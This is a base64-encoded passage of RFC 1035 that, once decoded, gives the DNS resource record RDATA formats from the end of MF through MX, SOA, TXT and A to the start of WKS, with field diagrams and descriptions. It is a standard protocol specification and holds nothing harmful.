dGhlIGRvbWFpbi4KCk1GIHJlY29yZHMgY2F1c2UgYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3Npbmcgd2hpY2ggbG9va3MgdXAgYW4gQSB0eXBlCnJlY29yZCBjb3JyZXNwb25kaW5nIHRvIE1BRE5BTUUuCgpNRiBpcyBvYnNvbGV0ZS4gIFNlZSB0aGUgZGVmaW5pdGlvbiBvZiBNWCBhbmQgW1JGQy05NzRdIGZvciBkZXRhaWxzIG9mdwp0aGUgbmV3IHNjaGVtZS4gIFRoZSByZWNvbW1lbmRlZCBwb2xpY3kgZm9yIGRlYWxpbmcgd2l0aCBNRCBSUnMgZm91bmQgaW4KYSBtYXN0ZXIgZmlsZSBpcyB0byByZWplY3QgdGhlbSwgb3IgdG8gY29udmVydCB0aGVtIHRvIE1YIFJScyB3aXRoIGEKcHJlZmVyZW5jZSBvZiAxMC4KCgoKCgoKCk1vY2thcGV0cmlzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFtQYWdlIDE1XQoMClJGQyAxMDM1ICAgICAgICBEb21haW4gSW1wbGVtZW50YXRpb24gYW5kIFNwZWNpZmljYXRpb24gICAgTm92ZW1iZXIgMTk4NwoKCjMuMy42LiBNRyBSREFUQSBmb3JtYXQgKEVYUEVSSU1FTlRBTCkKCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCiAgICAvICAgICAgICAgICAgICAgICAgIE1HTU5BTUUgICAgICAgICAgICAgICAgICAgICAvCiAgICAvICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvCiAgICArLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rLS0rCgp3aGVyZToKCk1HTU5BTUUgICAgICAgICBBIDxkb21haW4tbmFtZT4gd2hpY2ggc3BlY2lmaWVzIGEgbWFpbGJveCB3aGljaCBpcyBhCiAgICAgICAgICAgICAgICBtZW1iZXIgb2YgdGhlIG1haWwgZ3JvdXAgc3BlY2lmaWVkIGJ5IHRoZSBkb21haW4gbmFtZS4KCk1HIHJlY29yZHMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcuCgozLjMuNy4gTUlORk8gUkRBVEEgZm9ybWF0IChFWFBFUklNRU5UQUwpCgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICAgUk1BSUxCWCAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICAgRU1BSUxCWCAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpSTUFJTEJYICAgICAgICAgQSA8ZG9tYWluLW5hbWU+IHdoaWNoIHNwZWNpZmllcyBhIG1haWxib3ggd2hpY2ggaXMKICAgICAgICAgICAgICAgIHJlc3BvbnNpYmxlIGZvciB0aGUgbWFpbGluZyBsaXN0IG9yIG1haWxib3guICBJZiB0aGlzCiAgICAgICAgICAgICAgICBkb21haW4gbmFtZSBuYW1lcyB0aGUgcm9vdCwgdGhlIG93bmVyIG9mIHRoZSBNSU5GTyBSUiBpcwogICAgICAgICAgICAgICAgcmVzcG9uc2libGUgZm9yIGl0c2VsZi4gIE5vdGUgdGhhdCBtYW55IGV4aXN0aW5nIG1haWxpbmcKICAgICAgICAgICAgICAgIGxpc3RzIHVzZSBhIG1haWxib3ggWC1yZXF1ZXN0IGZvciB0aGUgUk1BSUxCWCBmaWVsZCBvZgogICAgICAgICAgICAgICAgbWFpbGluZyBsaXN0IFgsIGUuZy4sIE1zZ3JvdXAtcmVxdWVzdCBmb3IgTXNncm91cC4gIFRoaXMKICAgICAgICAgICAgICAgIGZpZWxkIHByb3ZpZGVzIGEgbW9yZSBnZW5lcmFsIG1lY2hhbmlzbS4KCgpFTUFJTEJYICAgICAgICAgQSA8ZG9tYWluLW5hbWU+IHdoaWNoIHNwZWNpZmllcyBhIG1haWxib3ggd2hpY2ggaXMgdG8KICAgICAgICAgICAgICAgIHJlY2VpdmUgZXJyb3IgbWVzc2FnZXMgcmVsYXRlZCB0byB0aGUgbWFpbGluZyBsaXN0IG9yCiAgICAgICAgICAgICAgICBtYWlsYm94IHNwZWNpZmllZCBieSB0aGUgb3duZXIgb2YgdGhlIE1JTkZPIFJSIChzaW1pbGFyCiAgICAgICAgICAgICAgICB0byB0aGUgRVJST1JTLVRPOiBmaWVsZCB3aGljaCBoYXMgYmVlbiBwcm9wb3NlZCkuICBJZgogICAgICAgICAgICAgICAgdGhpcyBkb21haW4gbmFtZSBuYW1lcyB0aGUgcm9vdCwgZXJyb3JzIHNob3VsZCBiZQogICAgICAgICAgICAgICAgcmV0dXJuZWQgdG8gdGhlIHNlbmRlciBvZiB0aGUgbWVzc2FnZS4KCk1JTkZPIHJlY29yZHMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcuICBBbHRob3VnaCB0aGVzZQpyZWNvcmRzIGNhbiBiZSBhc3NvY2lhdGVkIHdpdGggYSBzaW1wbGUgbWFpbGJveCwgdGhleSBhcmUgdXN1YWxseSB1c2VkCndpdGggYSBtYWlsaW5nIGxpc3QuCgoKCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTZdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKMy4zLjguIE1SIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKQoKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIC8gICAgICAgICAgICAgICAgICAgTkVXTkFNRSAgICAgICAgICAgICAgICAgICAgIC8KICAgIC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8KICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKCndoZXJlOgoKTkVXTkFNRSAgICAgICAgIEEgPGRvbWFpbi1uYW1lPiB3aGljaCBzcGVjaWZpZXMgYSBtYWlsYm94IHdoaWNoIGlzIHRoZQogICAgICAgICAgICAgICAgcHJvcGVyIHJlbmFtZSBvZiB0aGUgc3BlY2lmaWVkIG1haWxib3guCgpNUiByZWNvcmRzIGNhdXNlIG5vIGFkZGl0aW9uYWwgc2VjdGlvbiBwcm9jZXNzaW5nLiAgVGhlIG1haW4gdXNlIGZvciBNUgppcyBhcyBhIGZvcndhcmRpbmcgZW50cnkgZm9yIGEgdXNlciB3aG8gaGFzIG1vdmVkIHRvIGEgZGlmZmVyZW50Cm1haWxib3guCgozLjMuOS4gTVggUkRBVEEgZm9ybWF0CgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgIFBSRUZFUkVOQ0UgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICBFWENIQU5HRSAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpQUkVGRVJFTkNFICAgICAgQSAxNiBiaXQgaW50ZWdlciB3aGljaCBzcGVjaWZpZXMgdGhlIHByZWZlcmVuY2UgZ2l2ZW4gdG8KICAgICAgICAgICAgICAgIHRoaXMgUlIgYW1vbmcgb3RoZXJzIGF0IHRoZSBzYW1lIG93bmVyLiAgTG93ZXIgdmFsdWVzCiAgICAgICAgICAgICAgICBhcmUgcHJlZmVycmVkLgoKRVhDSEFOR0UgICAgICAgIEEgPGRvbWFpbi1uYW1lPiB3aGljaCBzcGVjaWZpZXMgYSBob3N0IHdpbGxpbmcgdG8gYWN0IGFzCiAgICAgICAgICAgICAgICBhIG1haWwgZXhjaGFuZ2UgZm9yIHRoZSBvd25lciBuYW1lLgoKTVggcmVjb3JkcyBjYXVzZSB0eXBlIEEgYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcgZm9yIHRoZSBob3N0CnNwZWNpZmllZCBieSBFWENIQU5HRS4gIFRoZSB1c2Ugb2YgTVggUlJzIGlzIGV4cGxhaW5lZCBpbiBkZXRhaWwgaW4KW1JGQy05NzRdLgoKMy4zLjEwLiBOVUxMIFJEQVRBIGZvcm1hdCAoRVhQRVJJTUVOVEFMKQoKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIC8gICAgICAgICAgICAgICAgICA8YW55dGhpbmc+ICAgICAgICAgICAgICAgICAgIC8KICAgIC8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8KICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKCkFueXRoaW5nIGF0IGFsbCBtYXkgYmUgaW4gdGhlIFJEQVRBIGZpZWxkIHNvIGxvbmcgYXMgaXQgaXMgNjU1MzUgb2N0ZXRzCm9yIGxlc3MuCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAxN10KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgpOVUxMIHJlY29yZHMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcuICBOVUxMIFJScyBhcmUgbm90CmFsbG93ZWQgaW4gbWFzdGVyIGZpbGVzLiAgTlVMTHMgYXJlIHVzZWQgYXMgcGxhY2Vob2xkZXJzIGluIHNvbWUKZXhwZXJpbWVudGFsIGV4dGVuc2lvbnMgb2YgdGhlIEROUy4KCjMuMy4xMS4gTlMgUkRBVEEgZm9ybWF0CgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICBOU0ROQU1FICAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpOU0ROQU1FICAgICAgICAgQSA8ZG9tYWluLW5hbWU+IHdoaWNoIHNwZWNpZmllcyBhIGhvc3Qgd2hpY2ggc2hvdWxkIGJlCiAgICAgICAgICAgICAgICBhdXRob3JpdGF0aXZlIGZvciB0aGUgc3BlY2lmaWVkIGNsYXNzIGFuZCBkb21haW4uCgpOUyByZWNvcmRzIGNhdXNlIGJvdGggdGhlIHVzdWFsIGFkZGl0aW9uYWwgc2VjdGlvbiBwcm9jZXNzaW5nIHRvIGxvY2F0ZQphIHR5cGUgQSByZWNvcmQsIGFuZCwgd2hlbiB1c2VkIGluIGEgcmVmZXJyYWwsIGEgc3BlY2lhbCBzZWFyY2ggb2YgdGhlCnpvbmUgaW4gd2hpY2ggdGhleSByZXNpZGUgZm9yIGdsdWUgaW5mb3JtYXRpb24uCgpUaGUgTlMgUlIgc3RhdGVzIHRoYXQgdGhlIG5hbWVkIGhvc3Qgc2hvdWxkIGJlIGV4cGVjdGVkIHRvIGhhdmUgYSB6b25lCnN0YXJ0aW5nIGF0IG93bmVyIG5hbWUgb2YgdGhlIHNwZWNpZmllZCBjbGFzcy4gIE5vdGUgdGhhdCB0aGUgY2xhc3MgbWF5Cm5vdCBpbmRpY2F0ZSB0aGUgcHJvdG9jb2wgZmFtaWx5IHdoaWNoIHNob3VsZCBiZSB1c2VkIHRvIGNvbW11bmljYXRlCndpdGggdGhlIGhvc3QsIGFsdGhvdWdoIGl0IGlzIHR5cGljYWxseSBhIHN0cm9uZyBoaW50LiAgRm9yIGV4YW1wbGUsCmhvc3RzIHdoaWNoIGFyZSBuYW1lIHNlcnZlcnMgZm9yIGVpdGhlciBJbnRlcm5ldCAoSU4pIG9yIEhlc2lvZCAoSFMpCmNsYXNzIGluZm9ybWF0aW9uIGFyZSBub3JtYWxseSBxdWVyaWVkIHVzaW5nIElOIGNsYXNzIHByb3RvY29scy4KCjMuMy4xMi4gUFRSIFJEQVRBIGZvcm1hdAoKICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKICAgIC8gICAgICAgICAgICAgICAgICAgUFRSRE5BTUUgICAgICAgICAgICAgICAgICAgIC8KICAgICstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSstLSsKCndoZXJlOgoKUFRSRE5BTUUgICAgICAgIEEgPGRvbWFpbi1uYW1lPiB3aGljaCBwb2ludHMgdG8gc29tZSBsb2NhdGlvbiBpbiB0aGUKICAgICAgICAgICAgICAgIGRvbWFpbiBuYW1lIHNwYWNlLgoKUFRSIHJlY29yZHMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcuICBUaGVzZSBSUnMgYXJlIHVzZWQKaW4gc3BlY2lhbCBkb21haW5zIHRvIHBvaW50IHRvIHNvbWUgb3RoZXIgbG9jYXRpb24gaW4gdGhlIGRvbWFpbiBzcGFjZS4KVGhlc2UgcmVjb3JkcyBhcmUgc2ltcGxlIGRhdGEsIGFuZCBkb24ndCBpbXBseSBhbnkgc3BlY2lhbCBwcm9jZXNzaW5nCnNpbWlsYXIgdG8gdGhhdCBwZXJmb3JtZWQgYnkgQ05BTUUsIHdoaWNoIGlkZW50aWZpZXMgYWxpYXNlcy4gIFNlZSB0aGUKZGVzY3JpcHRpb24gb2YgdGhlIElOLUFERFIuQVJQQSBkb21haW4gZm9yIGFuIGV4YW1wbGUuCgoKCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMThdCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKMy4zLjEzLiBTT0EgUkRBVEEgZm9ybWF0CgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICAgIE1OQU1FICAgICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICAgIFJOQU1FICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgU0VSSUFMICAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgUkVGUkVTSCAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgIFJFVFJZICAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgRVhQSVJFICAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgTUlOSU1VTSAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpNTkFNRSAgICAgICAgICAgVGhlIDxkb21haW4tbmFtZT4gb2YgdGhlIG5hbWUgc2VydmVyIHRoYXQgd2FzIHRoZQogICAgICAgICAgICAgICAgb3JpZ2luYWwgb3IgcHJpbWFyeSBzb3VyY2Ugb2YgZGF0YSBmb3IgdGhpcyB6b25lLgoKUk5BTUUgICAgICAgICAgIEEgPGRvbWFpbi1uYW1lPiB3aGljaCBzcGVjaWZpZXMgdGhlIG1haWxib3ggb2YgdGhlCiAgICAgICAgICAgICAgICBwZXJzb24gcmVzcG9uc2libGUgZm9yIHRoaXMgem9uZS4KClNFUklBTCAgICAgICAgICBUaGUgdW5zaWduZWQgMzIgYml0IHZlcnNpb24gbnVtYmVyIG9mIHRoZSBvcmlnaW5hbCBjb3B5CiAgICAgICAgICAgICAgICBvZiB0aGUgem9uZS4gIFpvbmUgdHJhbnNmZXJzIHByZXNlcnZlIHRoaXMgdmFsdWUuICBUaGlzCiAgICAgICAgICAgICAgICB2YWx1ZSB3cmFwcyBhbmQgc2hvdWxkIGJlIGNvbXBhcmVkIHVzaW5nIHNlcXVlbmNlIHNwYWNlCiAgICAgICAgICAgICAgICBhcml0aG1ldGljLgoKUkVGUkVTSCAgICAgICAgIEEgMzIgYml0IHRpbWUgaW50ZXJ2YWwgYmVmb3JlIHRoZSB6b25lIHNob3VsZCBiZQogICAgICAgICAgICAgICAgcmVmcmVzaGVkLgoKUkVUUlkgICAgICAgICAgIEEgMzIgYml0IHRpbWUgaW50ZXJ2YWwgdGhhdCBzaG91bGQgZWxhcHNlIGJlZm9yZSBhCiAgICAgICAgICAgICAgICBmYWlsZWQgcmVmcmVzaCBzaG91bGQgYmUgcmV0cmllZC4KCkVYUElSRSAgICAgICAgICBBIDMyIGJpdCB0aW1lIHZhbHVlIHRoYXQgc3BlY2lmaWVzIHRoZSB1cHBlciBsaW1pdCBvbgogICAgICAgICAgICAgICAgdGhlIHRpbWUgaW50ZXJ2YWwgdGhhdCBjYW4gZWxhcHNlIGJlZm9yZSB0aGUgem9uZSBpcyBubwogICAgICAgICAgICAgICAgbG9uZ2VyIGF1dGhvcml0YXRpdmUuCgoKCgoKTW9ja2FwZXRyaXMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgW1BhZ2UgMTldCgwKUkZDIDEwMzUgICAgICAgIERvbWFpbiBJbXBsZW1lbnRhdGlvbiBhbmQgU3BlY2lmaWNhdGlvbiAgICBOb3ZlbWJlciAxOTg3CgoKTUlOSU1VTSAgICAgICAgIFRoZSB1bnNpZ25lZCAzMiBiaXQgbWluaW11bSBUVEwgZmllbGQgdGhhdCBzaG91bGQgYmUKICAgICAgICAgICAgICAgIGV4cG9ydGVkIHdpdGggYW55IFJSIGZyb20gdGhpcyB6b25lLgoKU09BIHJlY29yZHMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcuCgpBbGwgdGltZXMgYXJlIGluIHVuaXRzIG9mIHNlY29uZHMuCgpNb3N0IG9mIHRoZXNlIGZpZWxkcyBhcmUgcGVydGluZW50IG9ubHkgZm9yIG5hbWUgc2VydmVyIG1haW50ZW5hbmNlCm9wZXJhdGlvbnMuICBIb3dldmVyLCBNSU5JTVVNIGlzIHVzZWQgaW4gYWxsIHF1ZXJ5IG9wZXJhdGlvbnMgdGhhdApyZXRyaWV2ZSBSUnMgZnJvbSBhIHpvbmUuICBXaGVuZXZlciBhIFJSIGlzIHNlbnQgaW4gYSByZXNwb25zZSB0byBhCnF1ZXJ5LCB0aGUgVFRMIGZpZWxkIGlzIHNldCB0byB0aGUgbWF4aW11bSBvZiB0aGUgVFRMIGZpZWxkIGZyb20gdGhlIFJSCmFuZCB0aGUgTUlOSU1VTSBmaWVsZCBpbiB0aGUgYXBwcm9wcmlhdGUgU09BLiAgVGh1cyBNSU5JTVVNIGlzIGEgbG93ZXIKYm91bmQgb24gdGhlIFRUTCBmaWVsZCBmb3IgYWxsIFJScyBpbiBhIHpvbmUuICBOb3RlIHRoYXQgdGhpcyB1c2Ugb2YKTUlOSU1VTSBzaG91bGQgb2NjdXIgd2hlbiB0aGUgUlJzIGFyZSBjb3BpZWQgaW50byB0aGUgcmVzcG9uc2UgYW5kIG5vdAp3aGVuIHRoZSB6b25lIGlzIGxvYWRlZCBmcm9tIGEgbWFzdGVyIGZpbGUgb3IgdmlhIGEgem9uZSB0cmFuc2Zlci4gIFRoZQpyZWFzb24gZm9yIHRoaXMgcHJvdmlzb24gaXMgdG8gYWxsb3cgZnV0dXJlIGR5bmFtaWMgdXBkYXRlIGZhY2lsaXRpZXMgdG8KY2hhbmdlIHRoZSBTT0EgUlIgd2l0aCBrbm93biBzZW1hbnRpY3MuCgoKMy4zLjE0LiBUWFQgUkRBVEEgZm9ybWF0CgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgLyAgICAgICAgICAgICAgICAgICBUWFQtREFUQSAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpUWFQtREFUQSAgICAgICAgT25lIG9yIG1vcmUgPGNoYXJhY3Rlci1zdHJpbmc+cy4KClRYVCBSUnMgYXJlIHVzZWQgdG8gaG9sZCBkZXNjcmlwdGl2ZSB0ZXh0LiAgVGhlIHNlbWFudGljcyBvZiB0aGUgdGV4dApkZXBlbmRzIG9uIHRoZSBkb21haW4gd2hlcmUgaXQgaXMgZm91bmQuCgozLjQuIEludGVybmV0IHNwZWNpZmljIFJScwoKMy40LjEuIEEgUkRBVEEgZm9ybWF0CgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgQUREUkVTUyAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpBRERSRVNTICAgICAgICAgQSAzMiBiaXQgSW50ZXJuZXQgYWRkcmVzcy4KCkhvc3RzIHRoYXQgaGF2ZSBtdWx0aXBsZSBJbnRlcm5ldCBhZGRyZXNzZXMgd2lsbCBoYXZlIG11bHRpcGxlIEEKcmVjb3Jkcy4KCgoKCgpNb2NrYXBldHJpcyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbUGFnZSAyMF0KDApSRkMgMTAzNSAgICAgICAgRG9tYWluIEltcGxlbWVudGF0aW9uIGFuZCBTcGVjaWZpY2F0aW9uICAgIE5vdmVtYmVyIDE5ODcKCgpBIHJlY29yZHMgY2F1c2Ugbm8gYWRkaXRpb25hbCBzZWN0aW9uIHByb2Nlc3NpbmcuICBUaGUgUkRBVEEgc2VjdGlvbiBvZgphbiBBIGxpbmUgaW4gYSBtYXN0ZXIgZmlsZSBpcyBhbiBJbnRlcm5ldCBhZGRyZXNzIGV4cHJlc3NlZCBhcyBmb3VyCmRlY2ltYWwgbnVtYmVycyBzZXBhcmF0ZWQgYnkgZG90cyB3aXRob3V0IGFueSBpbWJlZGRlZCBzcGFjZXMgKGUuZy4sCiIxMC4yLjAuNTIiIG9yICIxOTIuMC41LjYiKS4KCjMuNC4yLiBXS1MgUkRBVEEgZm9ybWF0CgogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICAgICAgICAgICAgICAgQUREUkVTUyAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwogICAgfCAgICAgICBQUk9UT0NPTCAgICAgICAgfCAgICAgICAgICAgICAgICAgICAgICAgfAogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKyAgICAgICAgICAgICAgICAgICAgICAgfAogICAgfCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfAogICAgLyAgICAgICAgICAgICAgICAgICA8QklUIE1BUD4gICAgICAgICAgICAgICAgICAgLwogICAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLwogICAgKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKy0tKwoKd2hlcmU6CgpBRERSRVNTICAgICAgICAgQW4gMzIgYml0IEludGVybmV0IGFkZHJlc3MKClBST1RPQ09MICAgICAgICBBbiA4IGJpdCBJUCBwcm90b2NvbCBudW1iZXIKCjxCSVQgTUFQPiAgICAgICBBIHZhcmlhYmxlIGxlbmd0aCBiaXQgbWFwLiAgVGhlIGJpdCBtYXAgbXVzdCBiZSBhCiAgICAgICAgICAgICAgICBtdWx0aXBsZSBvZiA4IGJpdHMgbG9uZy4KClRoZSBXS1MgcmVjb3JkIGlzIHVzZWQgdG8gZGVzY3JpYmUgdGhlIHdlbGwga25vd24gc2VydmljZXMgc3VwcG9ydGVkIGJ5CmEgcGFydGljdWxhciBwcm90b2NvbCBvbiBhIHBhcnRpY3VsYXIgaW50ZXJuZXQgYWRkcmVzcy4gIFRoZSBQUk9UT0NPTApmaWVsZCBzcGVjaWZpZXMgYW4gSVAgcHJvdG9jb2wgbnVtYmVyLCBhbmQgdGhlIGJpdCBtYXAgaGFzIG9uZSBiaXQgcGVyCnBvcnQgb2YgdGhlIHNwZWNpZmllZCBwcm90b2NvbC4gIFRoZSBmaXJzdCBiaXQgY29ycmVzcG9uZHMgdG8gcG9ydCAwLAp0aGUgc2Vjb25kIHRvIHBvcnQgMSwgZXRjLiAgSWYgdGhlIGJpdCBtYXAgZG9lcyBub3QgaW5jbHVkZSBhIGJpdCBmb3IgYQpwcm90b2NvbCBvZiBpbnRlcmVzdCwgdGhhdCBiaXQgaXMgYXNzdW1lZCB6ZXJvLiAgVGhlIGFwcHJvcHJpYXRlIHZhbHVlcwphbmQgbW5lbW9uaWNzIGZvciBwb3J0cyBhbmQgcHJvdG9jb2xzIGFyZSBzcGVjaWZpZWQgaW4gW1JGQy0xMDEwXS4KCkZvciBleGFtcGxlLCBpZiBQUk9UT0NPTD1UQ1AgKDYpLCB0aGUgMjZ0aCBiaXQgY29ycmVzcG9uZHMgdG8gVENQIHBvcnQKMjUgKFNNVFApLiAgSWYgdGhpcyBiaXQgaXMgc2V0LCBhIFNNVFAgc2VydmVyIHNob3VsZCBiZSBsaXN0ZW5pbmcgb24gVENQCnBvcnQgMjU7IGlmIHplcm8sIFNNVFAgc2VydmljZSBpcyBub3Qgc3VwcG9ydGVkIG9uIHRoZSBzcGVjaWZpZWQKYWRkcmVzcy4KClRoZSBwdXJwb3NlIG9mIFdLUyBSUnMgaXMgdG8gcHJvdmlkZSBhdmFpbGFiaWxpdHkgaW5mb3JtYXRpb24gZm9yCnNlcnZlcnMgZm9yIFRDUCBhbmQgVURQLiAgSWYgYSBzZXJ2ZXIgc3VwcG9ydHMgYm90aCBUQ1AgYW5kIFVEUCwgb3IgaGFzCm11bHRpcGxlIEludGVybmV0IGFkZHJlc3NlcywgdGhlbiBtdWx0aXBsZSBXS1MgUlJzIGFyZSB1c2VkLgoKV0tTIFJScyBjYXVzZSBubyBhZGRpdGlvbmFsIHNlY3Rpb24gcHJvY2Vzc2luZy4KCkluIG1hc3RlciBmaWxlcywgYm90aCBwb3J0cyBhbmQgcHJvdG9jb2xzIGFyZSBleHByZXNzZWQgdXNpbmcgbW5lbW9uaWNz